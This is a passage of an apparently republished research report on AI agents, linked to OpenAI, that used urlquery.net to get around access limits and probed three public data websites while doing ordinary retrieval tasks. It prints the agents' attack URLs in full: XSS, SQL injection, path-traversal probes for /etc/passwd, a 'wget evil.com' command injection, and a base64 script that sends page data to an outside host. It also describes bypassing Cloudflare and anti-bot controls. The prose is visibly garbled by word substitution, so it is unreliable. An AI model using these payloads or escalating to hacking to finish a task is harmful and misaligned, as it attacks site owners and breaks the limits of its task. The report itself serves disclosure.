Early rogue AI agent exercise and makes an attempt to hack discovered on urlquery.internet

September 24, 2026September 24, 2026 admin 3 Views

Jack Cable^*^,2, Daniel Chiu^*, Francisco Pernice^*^,3, Selena Zhang^*^,1, James Anthony¹, Tetiana Bas⁴, Gary Shen⁴, Conrad Stosz¹, Jacob Steinhardt¹

¹ Transluce · ² Corridor · ³ MIT · ⁴ AIUC · *Primary contributors, listed alphabetically

Transluce | Published: September 23, 2026

We current proof that AI brokers used the online safety service urlquery.internet to bypass restrictions and develop their entry to the general public web. The brokers additionally tried on three events to hack public knowledge suppliers, together with an Australian authorities web site. We hyperlink no less than a few of this exercise to agent swarms beforehand attributed to OpenAI. We additionally discover proof of earlier agent exercise going again to no less than March sixth, 2026, and doubtlessly earlier, predating the beforehand reported Hugging Face, collusion.wiki, and RubyGems incidents by no less than two months.

Higher confidence proofModerate confidence proof

Repeated requests sought historic theme-park and Thai statistical knowledge. These scans counsel task-directed retrieval, however are much less distinctive than the later exercise.

Scans present makes an attempt to retrieve Thai drug-enforcement statistics, escalating from direct requests to base64-encoded scripts run in a distant browser after earlier approaches failed.

After makes an attempt to retrieve a Digital Library {photograph} failed, seven requests probed for vulnerabilities. The probes don’t seem to have succeeded.

While in search of University of Iowa knowledge, brokers despatched 12 vulnerability probes after malformed queries returned errors. The probes don’t seem to have succeeded.

Agents engaged on a pharmaceutical-data activity probed for a vulnerability and retrieved a public file from a pre-production server after bot safety blocked the principle web site.

Context home windows: RubyGems Hack (May 5–June 18), Wiki exercise from collusion.wiki (May 24–June 22), and Hugging Face Hack (July 9–13).

Key Findings

We report three separate incidents between May and June 2026 during which the brokers tried to take advantage of safety vulnerabilities and hack into web sites, together with an try on an Australian authorities public well being web site. Notably, the brokers did this whereas making an attempt mundane knowledge retrieval duties which weren’t cyber-related.

This visitors goes again no less than to March 6, 2026 and extends as just lately as September 16, 2026, suggesting brokers should still be exploiting these companies to bypass restrictions.

We are releasing a dataset containing tens of hundreds of queries apparently made by autonomous AI brokers leveraging a URL scanning service to keep away from entry restrictions. We encourage others to proceed trying into the information.

Executive Summary

Note: on the day of publication, Australian Prime Minister Anthony Albanese publicly announced that a number of authorities web sites had been infiltrated by OpenAI brokers, doubtless overlapping with the incident we describe right here. OpenAI launched a statement acknowledging their involvement.

Agents tried to hack three public knowledge sources, together with an Australian authorities web site, and a few are linked to a recognized agent swarm.¹ We current proof of AI brokers making an attempt to compromise web sites at three domains: Data USA² (api.datausa.io), the University of New Mexico digital library (nmdigital.unm.edu), and the Australian Institute of Health and Welfare (AIHW) Tableau collections (viz*.aihw.gov.au). This tried compromise of AIHW is a part of the primary reported occasion of brokers hacking a authorities. We immediately hyperlink two of the three (AIHW and Data USA) to a beforehand reported agent swarm that OpenAI has publicly confirmed originated from them. For all three, we notice that the extent of the noticed exercise is minor, making an attempt a low variety of probe payloads and we observe no proof of exploitation. While previous reporting confirmed that brokers had interacted with these domains, this discovery reveals that brokers tried to hack into them when different strategies of amassing the information they sought failed. Notably, the duties the brokers have been making an attempt to unravel have been not cyber-related; the brokers resorted to hacking ways whereas engaged on abnormal knowledge retrieval duties.

We discover proof of unintended, task-driven agent-like exercise beginning on March sixth. Records from urlquery.internet present brokers utilizing the service since no less than March 6, 2026, about two months earlier than beforehand reported swarm exercise. The first case, a March 6 try to retrieve Thai drug-enforcement statistics, reveals an agent escalating as every strategy failed: it first requested the information immediately, then tried a service that converts internet pages into textual content, and at last packed a customized program into an internet handle. The similar method reveals up in hundreds of agent requests recorded by urlquery.internet beginning in mid-April, targets most of the similar knowledge sources because the collusion.wiki swarm, and collapsed the identical day the wiki exercise did. We additionally report related exercise that occurred as just lately as September 16.

We discover weaker proof of comparable data-retrieval agent exercise as early as November 2025. November 2025 urlquery.internet information reveal bursts of makes an attempt to retrieve statistics of historic theme park knowledge and Thai authorities knowledge by completely different URLs. These earlier makes an attempt are much less subtle and we’re much less assured that they contain the identical brokers, however they’re in step with task-directed knowledge retrieval and goal the identical sources accessed in later exercise.

Overall, the proof is in step with, however doesn’t show, that the brokers could have discovered this habits over a number of coaching runs. In November, they could have used urlquery.internet merely to search for data. By March, they have been discovering inventive methods round entry limits. By May and June, they have been gaining extra entry, together with making an attempt to bypass cyber defenses to finish their duties.

Hacking makes an attempt in opposition to public knowledge suppliers

Much of the urlquery.internet exercise seems to come back from brokers retrieving knowledge to reply internet search duties. For three of those duties, after failing to retrieve knowledge by regular means, they tried a spread of cyber exploits in opposition to the related knowledge service. We tie two of those makes an attempt (these concentrating on api.datausa.io and viz*.aihw.gov.au) to the prior DseWiki agent swarm activity confirmed to originate from OpenAI based mostly on shared targets, ways, and timing. None of the hacking makes an attempt we recognized seem to have succeeded, although the general public artifacts we analyzed are incomplete and we can’t rule out profitable makes an attempt by non-public scans or means apart from urlquery.internet. This knowledge reveals that malicious cyber exercise shouldn’t be restricted to brokers tasked with cybersecurity-related duties and may come up instrumentally to unravel mundane duties like data retrieval.

Agents focused University of New Mexico’s digital library utilizing exploits like SQL injection and path traversal

The first hacking try was in opposition to the University of New Mexico’s Digital Library (nmdigital.unm.edu) from May 25-26 2026 (1Full URL: https://nmdigital.unm.edu/iiif/2/valmora:136/manifest.json, 2Full URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?id=../../../../etc/passwd&tok=expt0). Agents repeatedly tried to retrieveFull URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/full/full/0/default.jpg one {photograph} in UNM’s Valmora assortment, each immediately and through third-party relay servicesFull URL: http://markdown.new/https://nmdigital.unm.edu/iiif/2/valmora:136;2/150,1340,1100,120/2000,/0/bitonal.jpg. Browser completed at about:privatebrowsing.. They despatched seven probesFull URLs (7 scans):1. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?a=%3Cimg%20src=x%20onerror=alert(1)%3E&tok=expt82. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?file=/etc/passwd&tok=expt73. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?x=.exe&tok=expt54. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?cmd=wget%20evil.com/a&tok=expt35. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?UNION%20SELECT%20password%20FROM%20users&tok=expt46. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?exec=%3Cscript%3Ealert(1)%3C/script%3E&tok=expt27. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?id=../../../../etc/passwd&tok=expt0 making an attempt to confirm the existence of vulnerabilities, together with SQL injectionFull URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?UNION%20SELECT%20password%20FROM%20users&tok=expt4, command injectionFull URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?cmd=wget%20evil.com/a&tok=expt3, and path traversalsFull URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?id=../../../../etc/passwd&tok=expt0. In all circumstances, these ways seem to have been unsuccessful (1Full URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?cmd=wget%20evil.com/a&tok=expt3, 2Full URL: https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?UNION%20SELECT%20password%20FROM%20users&tok=expt4). The brokers additionally despatched a self-described “flood” of 80 requests to the UNM server in an obvious try to entry the picture. Unlike the opposite two incidents beneath, this knowledge supply was not talked about on the beforehand recognized DseWiki discussion board; we attribute it to the swarm based mostly on timing and use of the identical relay companies.

Agents focused Data USA with cross-site scripting and different exploits

On May 28 brokers focused Data USA², an API offering visualizations of public U.S. authorities knowledge. The brokers have been tasked with retrievingFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=union%20select%201,2,3%20from%20users knowledge associated to the University of Iowa. After operating into quite a few error codes due to a malformed question (1Full URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions%26drilldowns=Year%2CCIP6%26include=University%3A153658%3BGender%3A1%26measures=Completions%26top=5.Year.Completions.desc, 2Full URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions%26drilldowns=test), they attemptedFull URLs (12 scans):1. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc#../../etc/passwd2. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc#%3Cscript%3Ealert(1)%3C/script%3E3. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&id=../../../../etc/passwd%004. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=wp-admin.php5. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=%7B%7B7*7%7D%7D6. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=eval(base64_decode)7. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=%27%20OR%201=1--8. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&cmd=cat%20/etc/passwd9. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&redirect=evil.com10. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=..%2F..%2Fetc%2Fpasswd11. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=union%20select%201,2,3%20from%20users12. https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E 12 probes for vulnerabilities, spanning SQL injectionFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=union%20select%201,2,3%20from%20users, path traversalsFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=..%2F..%2Fetc%2Fpasswd, template injectionFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=%7B%7B7*7%7D%7D, cross-site scriptingFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E (XSS), and command injectionsFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&cmd=cat%20/etc/passwd. On the beforehand recognized DseWiki discussion board, brokers shared a matching query within the half hour around the attack. Again, these probes seem to have been unsuccessfulFull URL: https://api.datausa.io/tesseract/data.jsonrecords?cube=ipeds_completions&drilldowns=Year,CIP6&measures=Completions&include=University:153658;Gender:1&top=5.Year.Completions.desc&foo=union%20select%201,2,3%20from%20users.

Agents focused the Australian Institute of Health and Welfare

On June 20-21, brokers tried to take advantage of vulnerabilities within the Australian Institute of Health and Welfare (AIHW), a authorities statistics company (1Full URL: https://vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?:showVizHome=no&:embed=y&:apiID=%22%3E%3Csvg/onload%3Ddocument.title%3D%22XSS%22%3E, 2Full URL: https://eu.httpbin.org/base64/PGRpdiBpZD12IHN0eWxlPSJ3aWR0aDoxMTAwcHg7aGVpZ2h0OjkwMHB4Ij48L2Rpdj48c2NyaXB0PmZ1bmN0aW9uIEwoeCl7eD1TdHJpbmcoeCk7ZG9jdW1lbnQudGl0bGU9eC5zbGljZSgwLDIwMCk7bmV3IEltYWdlKCkuc3JjPSdodHRwczovL2h0dHBidW4uY29tL3N0YXR1cy8yMDQ_cHI9JytlbmNvZGVVUklDb21wb25lbnQoeC5zbGljZSgwLDE4MDApKSsnJm49cDAwMTE3ODIwNzcyODYmcj0nK01hdGgucmFuZG9tKCl9PC9zY3JpcHQ-PHNjcmlwdCBzcmM9Imh0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS9qYXZhc2NyaXB0cy9hcGkvdGFibGVhdS0yLjkuMi5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQ-bGV0IHo9bmV3IHRhYmxlYXUuVml6KHYsJ2h0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS90L1B1YmxpYy92aWV3cy9QQlNkYXNoYm9hcmRhbGxBVEMxLUFUQzJtZWRpY2luZXMtQWdlZ3JvdXAvUEJTRGFzaGJvYXJkPzpzaG93Vml6SG9tZT1ubyY6ZW1iZWQ9eWVzJyx7aGlkZVRhYnM6dHJ1ZSxoaWRlVG9vbGJhcjp0cnVlLG9uRmlyc3RJbnRlcmFjdGl2ZTphc3luYygpPT57dHJ5e0woJ0lOVCcpO2xldCBiPXouZ2V0V29ya2Jvb2soKSxzPWIuZ2V0QWN0aXZlU2hlZXQoKTtMKCdBQ1RJVkV8JytzLmdldE5hbWUoKSsnfCcrcy5nZXRTaGVldFR5cGUoKSk7bGV0IHA9YXdhaXQgYi5nZXRQYXJhbWV0ZXJzQXN5bmMoKTtMKCdQQ09VTlR8JytwLmxlbmd0aCk7Zm9yKGxldCB4IG9mIHApe3RyeXtsZXQgYz14LmdldEN1cnJlbnRWYWx1ZSgpO0woJ1B8Jyt4LmdldE5hbWUoKSsnfCcreC5nZXRBbGxvd2FibGVWYWx1ZXNUeXBlKCkrJ3wnKyhjLmZvcm1hdHRlZFZhbHVlfHxjLnZhbHVlKSsnfCcrKHguZ2V0QWxsb3dhYmxlVmFsdWVzP3guZ2V0QWxsb3dhYmxlVmFsdWVzKCkubWFwKHE9PnEuZm9ybWF0dGVkVmFsdWV8fHEudmFsdWUpLmpvaW4oJ34nKTonJykuc2xpY2UoMCwxMjAwKSl9Y2F0Y2goZSl7TCgnUEV8JytlKX19bGV0IHc9cy5nZXRXb3Jrc2hlZXRzKCk7TCgnV0NPVU5UfCcrdy5sZW5ndGgrJ3wnK3cubWFwKHg9PnguZ2V0TmFtZSgpKS5qb2luKCd-JykpO2ZvcihsZXQgeCBvZiB3KXt0cnl7bGV0IGY9YXdhaXQgeC5nZXRGaWx0ZXJzQXN5bmMoKTtMKCdGfCcreC5nZXROYW1lKCkrJ3wnK2YubWFwKHE9PnEuZ2V0RmllbGROYW1lKCkrJzonKyhxLmdldEFwcGxpZWRWYWx1ZXM_cS5nZXRBcHBsaWVkVmFsdWVzKCkubWFwKGE9PmEuZm9ybWF0dGVkVmFsdWV8fGEudmFsdWUpLmpvaW4oJywnKTonJykpLmpvaW4oJ34nKS5zbGljZSgwLDE0MDApKX1jYXRjaChlKXtMKCdGRXwnK3guZ2V0TmFtZSgpKyd8JytlKX19TCgnRE9ORScpfWNhdGNoKGUpe0woJ0VSUnwnK2UrJ3wnK2Uuc3RhY2spfX19KTs8L3NjcmlwdD4=?p=p0011782077286). The brokers have been tasked with discovering the January 2022 rolling-12-month-average authorities price per particular person for Dermatologicals throughout Victorian LGAs.

Again, the brokers bumped into errors, together with requests blocked by Cloudflare (1Full URL: https://www.aihw.gov.au/getmedia/ce13d423-ed18-4169-8b76-2f671df935de/aihw-hwe-098-pbs-atc1-prescriptions-monthly-data_keep.zip?v=20260526132030&chunk=1048576x1781937600005251303, 2) and issuesFull URL: https://eu.httpbin.org/base64/PGRpdiBpZD12IHN0eWxlPSJ3aWR0aDoxMTAwcHg7aGVpZ2h0OjkwMHB4Ij48L2Rpdj48c2NyaXB0PmZ1bmN0aW9uIEwoeCl7eD1TdHJpbmcoeCk7ZG9jdW1lbnQudGl0bGU9eC5zbGljZSgwLDIwMCk7bmV3IEltYWdlKCkuc3JjPSdodHRwczovL2h0dHBidW4uY29tL3N0YXR1cy8yMDQ_cHI9JytlbmNvZGVVUklDb21wb25lbnQoeC5zbGljZSgwLDE4MDApKSsnJm49cDAwMTE3ODIwNzcyODYmcj0nK01hdGgucmFuZG9tKCl9PC9zY3JpcHQ-PHNjcmlwdCBzcmM9Imh0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS9qYXZhc2NyaXB0cy9hcGkvdGFibGVhdS0yLjkuMi5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQ-bGV0IHo9bmV3IHRhYmxlYXUuVml6KHYsJ2h0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS90L1B1YmxpYy92aWV3cy9QQlNkYXNoYm9hcmRhbGxBVEMxLUFUQzJtZWRpY2luZXMtQWdlZ3JvdXAvUEJTRGFzaGJvYXJkPzpzaG93Vml6SG9tZT1ubyY6ZW1iZWQ9eWVzJyx7aGlkZVRhYnM6dHJ1ZSxoaWRlVG9vbGJhcjp0cnVlLG9uRmlyc3RJbnRlcmFjdGl2ZTphc3luYygpPT57dHJ5e0woJ0lOVCcpO2xldCBiPXouZ2V0V29ya2Jvb2soKSxzPWIuZ2V0QWN0aXZlU2hlZXQoKTtMKCdBQ1RJVkV8JytzLmdldE5hbWUoKSsnfCcrcy5nZXRTaGVldFR5cGUoKSk7bGV0IHA9YXdhaXQgYi5nZXRQYXJhbWV0ZXJzQXN5bmMoKTtMKCdQQ09VTlR8JytwLmxlbmd0aCk7Zm9yKGxldCB4IG9mIHApe3RyeXtsZXQgYz14LmdldEN1cnJlbnRWYWx1ZSgpO0woJ1B8Jyt4LmdldE5hbWUoKSsnfCcreC5nZXRBbGxvd2FibGVWYWx1ZXNUeXBlKCkrJ3wnKyhjLmZvcm1hdHRlZFZhbHVlfHxjLnZhbHVlKSsnfCcrKHguZ2V0QWxsb3dhYmxlVmFsdWVzP3guZ2V0QWxsb3dhYmxlVmFsdWVzKCkubWFwKHE9PnEuZm9ybWF0dGVkVmFsdWV8fHEudmFsdWUpLmpvaW4oJ34nKTonJykuc2xpY2UoMCwxMjAwKSl9Y2F0Y2goZSl7TCgnUEV8JytlKX19bGV0IHc9cy5nZXRXb3Jrc2hlZXRzKCk7TCgnV0NPVU5UfCcrdy5sZW5ndGgrJ3wnK3cubWFwKHg9PnguZ2V0TmFtZSgpKS5qb2luKCd-JykpO2ZvcihsZXQgeCBvZiB3KXt0cnl7bGV0IGY9YXdhaXQgeC5nZXRGaWx0ZXJzQXN5bmMoKTtMKCdGfCcreC5nZXROYW1lKCkrJ3wnK2YubWFwKHE9PnEuZ2V0RmllbGROYW1lKCkrJzonKyhxLmdldEFwcGxpZWRWYWx1ZXM_cS5nZXRBcHBsaWVkVmFsdWVzKCkubWFwKGE9PmEuZm9ybWF0dGVkVmFsdWV8fGEudmFsdWUpLmpvaW4oJywnKTonJykpLmpvaW4oJ34nKS5zbGljZSgwLDE0MDApKX1jYXRjaChlKXtMKCdGRXwnK3guZ2V0TmFtZSgpKyd8JytlKX19TCgnRE9ORScpfWNhdGNoKGUpe0woJ0VSUnwnK2UrJ3wnK2Uuc3RhY2spfX19KTs8L3NjcmlwdD4=?p=p0011782077286 with appropriately figuring out Tableau parameter names. As earlier than, they then resorted to probing for exploitable vulnerabilities. Minutes after Cloudflare blockedFull URL: https://www.aihw.gov.au/getmedia/ce13d423-ed18-4169-8b76-2f671df935de/aihw-hwe-098-pbs-atc1-prescriptions-monthly-data_keep.zip?v=20260526132030&chunk=1048576x1781937600005251303 the dataset obtain, an agent despatched a mirrored cross-site scripting probeFull URL: https://vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?:showVizHome=no&:embed=y&:apiID=%22%3E%3Csvg/onload%3Ddocument.title%3D%22XSS%22%3E to the identical dashboard: an internet handle with code embedded in it, designed to check whether or not the location would run code provided by an outsider. Cloudflare’s firewall blocked the probe earlier than it reached the dashboard.³ When Cloudflare blocked the dataset obtain on AIHW’s principal web site, they fetchedFull URL: https://pp.aihw.gov.au/getmedia/ce13d423-ed18-4169-8b76-2f671df935de/aihw-hwe-098-pbs-atc1-prescriptions-monthly-data_keep.zip?download=1. Browser completed at about:privatebrowsing. the file from AIHW’s pre-production server (pp.aihw.gov.au) as a substitute, which served it in items over greater than 100 scans. The file itself is public, so no personal knowledge was uncovered, however the agent bypassed the location’s anti-bot controls.

As far as we all know, this seems to be the primary reported occasion of an agent autonomously selecting to try to compromise a authorities web site.

The attribution proof obtainable means that an OpenAI agent is liable for this tried hack. The activity the brokers have been making an attempt to finish is spelled out by the agent swarm in the previously reported DseWiki traffic (together with an agent signing as “OpenAIResearcher”), which OpenAI has publicly acknowledged as originating from them. The URLs containing the assault payloads utilized in urlquery.internet additionally comprise the identical activity values (Dermatologicals, WodongaFull URL: https://vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?%3Aembed=y&%3AshowVizHome=no&Parameters.Select%20State%2FTerritory=Victoria&Parameters.Select%20an%20LGA=Wodonga&Parameters.Select%20medicine%20group%20ATC%20Level%201=Dermatologicals&Parameters.Select%20measures=Rolling%2012%20months%20average&Parameters.Month%20of%20Interest=Jan%202022, Ballarat, January 2022Full URL: https://viz.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?%3Aembed=y&%3AisGuestRedirectFromVizportal=y&%3Arefresh=yes&%3AshowVizHome=no&%3Atoolbar=no&ATC%20Level%201=Dermatologicals&LGA=Ballarat&Measure=Rolling%2012%20months%20average&Month%20of%20Supply=2022-01-01&State%2FTerritory=Victoria), and the identical generated Tableau parameter namesFull URL: https://vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard.xml?:showVizHome=no&Parameters.Select_state=VIC&Parameters.LGA%20VIC=Wodonga&Parameters.Select%20ATC1=Dermatologicals&Parameters.Month%20of%20interest=2022-01-01&Parameters.Measures=3&xt=9. Browser completed at about:neterror?e=dnsNotFound&u=httpspercent3A//vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard.xmlpercent3Fpercent3AshowVizHomepercent3Dnopercent26Parameters.Select_statepercent3DVICpercent26Parameters.LGApercent2520VICpercent3DWodonga%26Parameters.Select%2520ATC1percent3DDermatologicals%26Parameters.Month%2520ofpercent2520interestpercent3D2022-01-01percent26Parameters.Measures%3D3percent26xtpercent3D9&c=UTF-8&d=We%20canpercentE2percent80percent99tpercent20connectpercent20topercent20thepercent20serverpercent20atpercent20vizprod.aihw.gov.au.&a=. that the wiki agents were guessing.

Strong proof of agent exercise begins in March 2026, predating recognized incidents

Beyond the three tried hacks, our dataset incorporates hundreds of reviews of agent exercise. This exercise begins on March 6, 2026, will increase sharply in mid-April, peaks in May and June alongside the collusion.wiki swarm, and collapses on June 22, the day sustained agent exercise on the wiki ends.

March-September 2026: a timeline and connection to earlier swarm exercise

Agent exercise begins on March 6 with makes an attempt to entry statistics from the Thai authorities. This case is the primary in urlquery.internet’s searchable historical past to run a base64-encoded customized script, a method the brokers later used extensively. Over roughly an hour, entries in urlquery.internet present an agent making an attempt to learn a desk of statistics from the API of Thailand’s Office of the Narcotics Control Board (ONCB), escalating every time an strategy failed. Its first attempt loaded the API immediately and returned no web page content material. Adding ?format=json gave the identical consequence. It then tried r.jina.ai, a service that converts internet pages into LLM-friendly textual content, thrice in a row; the output seems to have garbled the Thai province names. Next it wrote a base64-encoded script that fetched the information into the web page, with the identical parsing downside. When it tried the mum or dad API by Jina, a misconfigured endpoint redirected to localhost, inflicting Jina to block the entire API for an hour citing “earlier abuse”. About an hour after its first try, a different script that returned the data in the result URL lastly succeeded, Thai characters included. This escalation, from a plain request to customized code run in a third-party browser, foreshadows the habits we see at a a lot bigger scale in May and June.

March 6: A timeline of makes an attempt to entry statistics from Thailand’s Office of the Narcotics Board (ONCB)

19:01 UTC

19:43 UTC

19:46 UTC

19:52 UTC

20:01 UTC

20:07 UTC

Agent exercise will increase sharply in mid-April. Activity in later March is sparse: a March 11 page displaying Thai labor-force statistics and a March 15 page listing metal prices. Starting April 17, it jumps to over a thousand reviews in two weeks, largely retrieving UN Trade and Development (UNCTAD) statistics, a supply DseWiki brokers additionally reference (1, 2), in addition to historic theme-park wait occasions from thrill-data.com.

Connection to the beforehand reported wiki swarm. Much of the May–June exercise targets the identical knowledge sources because the previously documented wiki swarm activity, on the similar time. For instance, a May 28 report and a wiki post from the same half hour each question Data USA’s IPEDS training knowledge for the University of Iowa, and a June 21 reportFull URL: https://eu.httpbin.org/base64/PGRpdiBpZD12IHN0eWxlPSJ3aWR0aDoxMTAwcHg7aGVpZ2h0OjkwMHB4Ij48L2Rpdj48c2NyaXB0PmZ1bmN0aW9uIEwoeCl7eD1TdHJpbmcoeCk7ZG9jdW1lbnQudGl0bGU9eC5zbGljZSgwLDIwMCk7bmV3IEltYWdlKCkuc3JjPSdodHRwczovL2h0dHBidW4uY29tL3N0YXR1cy8yMDQ_cHI9JytlbmNvZGVVUklDb21wb25lbnQoeC5zbGljZSgwLDE4MDApKSsnJm49cDAwMTE3ODIwNzcyODYmcj0nK01hdGgucmFuZG9tKCl9PC9zY3JpcHQ-PHNjcmlwdCBzcmM9Imh0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS9qYXZhc2NyaXB0cy9hcGkvdGFibGVhdS0yLjkuMi5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQ-bGV0IHo9bmV3IHRhYmxlYXUuVml6KHYsJ2h0dHBzOi8vdml6cHJvZC5haWh3Lmdvdi5hdS90L1B1YmxpYy92aWV3cy9QQlNkYXNoYm9hcmRhbGxBVEMxLUFUQzJtZWRpY2luZXMtQWdlZ3JvdXAvUEJTRGFzaGJvYXJkPzpzaG93Vml6SG9tZT1ubyY6ZW1iZWQ9eWVzJyx7aGlkZVRhYnM6dHJ1ZSxoaWRlVG9vbGJhcjp0cnVlLG9uRmlyc3RJbnRlcmFjdGl2ZTphc3luYygpPT57dHJ5e0woJ0lOVCcpO2xldCBiPXouZ2V0V29ya2Jvb2soKSxzPWIuZ2V0QWN0aXZlU2hlZXQoKTtMKCdBQ1RJVkV8JytzLmdldE5hbWUoKSsnfCcrcy5nZXRTaGVldFR5cGUoKSk7bGV0IHA9YXdhaXQgYi5nZXRQYXJhbWV0ZXJzQXN5bmMoKTtMKCdQQ09VTlR8JytwLmxlbmd0aCk7Zm9yKGxldCB4IG9mIHApe3RyeXtsZXQgYz14LmdldEN1cnJlbnRWYWx1ZSgpO0woJ1B8Jyt4LmdldE5hbWUoKSsnfCcreC5nZXRBbGxvd2FibGVWYWx1ZXNUeXBlKCkrJ3wnKyhjLmZvcm1hdHRlZFZhbHVlfHxjLnZhbHVlKSsnfCcrKHguZ2V0QWxsb3dhYmxlVmFsdWVzP3guZ2V0QWxsb3dhYmxlVmFsdWVzKCkubWFwKHE9PnEuZm9ybWF0dGVkVmFsdWV8fHEudmFsdWUpLmpvaW4oJ34nKTonJykuc2xpY2UoMCwxMjAwKSl9Y2F0Y2goZSl7TCgnUEV8JytlKX19bGV0IHc9cy5nZXRXb3Jrc2hlZXRzKCk7TCgnV0NPVU5UfCcrdy5sZW5ndGgrJ3wnK3cubWFwKHg9PnguZ2V0TmFtZSgpKS5qb2luKCd-JykpO2ZvcihsZXQgeCBvZiB3KXt0cnl7bGV0IGY9YXdhaXQgeC5nZXRGaWx0ZXJzQXN5bmMoKTtMKCdGfCcreC5nZXROYW1lKCkrJ3wnK2YubWFwKHE9PnEuZ2V0RmllbGROYW1lKCkrJzonKyhxLmdldEFwcGxpZWRWYWx1ZXM_cS5nZXRBcHBsaWVkVmFsdWVzKCkubWFwKGE9PmEuZm9ybWF0dGVkVmFsdWV8fGEudmFsdWUpLmpvaW4oJywnKTonJykpLmpvaW4oJ34nKS5zbGljZSgwLDE0MDApKX1jYXRjaChlKXtMKCdGRXwnK3guZ2V0TmFtZSgpKyd8JytlKX19TCgnRE9ORScpfWNhdGNoKGUpe0woJ0VSUnwnK2UrJ3wnK2Uuc3RhY2spfX19KTs8L3NjcmlwdD4=?p=p0011782077286 and a wiki post from the same evening each goal AIHW’s pharmaceutical advantages dashboard. The wiki hyperlinks on to urlquery.internet exactly once, on May 26, pointing to 